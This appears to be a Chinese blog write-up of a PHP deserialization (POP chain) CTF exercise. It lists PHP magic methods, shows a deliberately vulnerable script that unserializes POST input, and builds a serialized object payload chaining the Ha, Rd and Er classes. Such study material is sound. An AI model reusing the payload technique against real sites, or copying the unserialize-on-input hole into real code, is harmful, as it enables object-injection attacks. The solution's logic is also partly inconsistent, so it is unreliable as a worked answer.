魔术方法
感谢大力支持PHP反序列化之POP链构造🛴 | ch1e的自留地
深入了解:
一、 __construct(),类的构造函数
二、__destruct(),类的析构函数
三、 __call(),在对象中调用一个不可访问方法时调用。
四、 __callStatic(),用静态方式中调用一个不可访问方法时调用
五、 __get(),获得一个类的成员变量时调用
六、 __set(),设置一个类的成员变量时调用
七、 __isset(),当对不可访问属性调用isset()或empty()时调用
八、 __unset(),当对不可访问属性调用unset()时被调用。
九、 __sleep(),执行serialize()时,先会调用这个函数
十、 __wakeup(),执行unserialize()时,先会调用这个函数
十一、 __toString(),类被当成字符串时的回应方法
十二、 __invoke(),调用函数的方式调用一个对象时的回应方法
十三、 __set_state(),调用var_export()导出类时,此静态方法会被调用。
十四、 __clone(),当对象复制完成时调用
十五、__autoload(),尝试加载未定义的类
十六、__debugInfo(),打印所需调试信息
__destruct()销毁时机(可能你知道)
引自 [php]对象的销毁时机_php 类的对象在什么适合被销毁-CSDN博客
1.如果程序结束,所有变量都会被销毁,自然,变量所代表的对象也会被销毁。
2.若一个对象没有任何变量指向它,那么即使程序还没有结束,这个对象也会被销毁。
例题
<?php
class Rd
{
public $ending;
public $cl;
public $poc;
public function __destruct()
{
echo "All matters have concluded" . "</br>";
}
public function __call($name, $arg)
{
foreach ($arg as $key => $value) {
if ($arg[0]['POC'] == "0.o") {
$this->cl->var1 = "get";
}
}
}
}
class Poc
{
public $payload;
public $fun;
public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}
function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?" . "</br>";
file_get_contents($paylaod);
}
}
class Er
{
public $symbol;
public $Flag = 'aHR0cDovLw==';
public function __construct()
{
$this->symbol = True;
}
public function __set($name, $value)
{
if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/', base64_decode($this->Flag))) {
$value($this->Flag);
} else {
echo "NoNoNo,please you can look hint.php" . "</br>";
}
}
}
class Ha
{
public $start;
public $start1;
public $start2 = 'o.0';
public function __construct()
{
echo $this->start1 . "__construct" . "</br>";
}
public function __destruct()
{
if ($this->start2 === "o.0") {
$this->start1->Love($this->start);
echo "you are good" . "</br>";
echo "<script>you got it!!!</script>";
}
}
}
function getttt($url) {
echo "you got it!!!". "</br>";
}
if (isset($_POST['pop'])) {
$a = unserialize($_POST['pop']);
} else {
die("You are Silly goose!");
}
出口为
function getttt($url) {
echo "you got it!!!". "</br>";
}
看到有四个类Rd,Poc,Er,Ha
Rd
含有方法__destruct(),__call
因为__destruct()中只有echo,其他类中没有可以受其影响的所以可不做考虑
看看__call(调用不可能方法触发)
forech函数:foreach php,详解PHP中foreach的用法和实例-CSDN博客
public function __call($name, $arg)
{
foreach ($arg as $key => $value) {
if ($arg[0]['POC'] == "0.o") {
$this->cl->var1 = "get";
}
}
}
在cl下的var1写一个get,但是public中么有为cl定义var1
可见其可以触发__set方法
Poc
含有方法__set(),定义方法getflag()(暂时不用)
看看set方法
public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}
调用payload和fun并赋值,观察并不能触发魔术方法
Er
定义flag =为'aHR0cDovLw=='
含有方法__construct(),__set()
看看__construct()
public function __construct()
{
$this->symbol = True;
}
给symbol赋值为true
看看__set()
public function __set($name, $value)
{
if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/', base64_decode($this->Flag))) {
$value($this->Flag);
} else {
echo "NoNoNo,please you can look hint.php" . "</br>";
}
}
因为flag满足所以else不执行,所以看if即可
调用flag,value并赋值
Ha
含有方法__construct(),__destruct()
定义start2= 'o.0'
看看__construct()
public function __construct()
{
echo $this->start1 . "__construct" . "</br>";
}
调用start1
看看__destruct()
public function __destruct()
{
if ($this->start2 === "o.0") {
$this->start1->Love($this->start);
echo "You are Good!" . "</br>";
}
}
if条件天然满足,其中调用不存在函数love()(可触发__call)
over
思路
我们审计代码发现除去必定执行的__destruct,__construct
有__call,__set这些选择执行的于是便重点关注
发现call中不仅有我们需要的get还可以触发poc和er类中的set
那就挑一个set使用
再发现er中的set可以直接把get传到value中
于是可以确定调用er,和rd
再因为只有ha可以调用er中的set
这时发现已经可以自己跑了于是确定使用rd,poc,ha
那么删去原本函数
function getttt($url) {
echo "you got it!!!". "</br>";
}
if (isset($_POST['pop'])) {
$a = unserialize($_POST['pop']);
} else {
die("You are Silly goose!");
}
后调用一下
$A= new Ha;
$B= new Rd;
$C=new Er;
因为要让他们相互影响,所以要让他们包含起来
找一些不必要变量赋值即可
$A->start1=$B;
$B->cl=$C;
发现要满足条件关系让rd代码是可以运行的(正确与否不重要)补充条件
$A->start=array('POC'=>"0");
反序列化输出$A即可
echo serialize ($A);
输出
得到
__construct</br>O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:1:"0";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";b:1;s:4:"Flag";s:12:"aHR0cDovLw==";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}You are Good!</br>All matters have concluded</br>
再得到
O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:1:"0";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";b:1;s:4:"Flag";s:12:"aHR0cDovLw==";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}
开环境看看
??后来发现好像js出问题了
莫得显示,但无伤大雅
结束!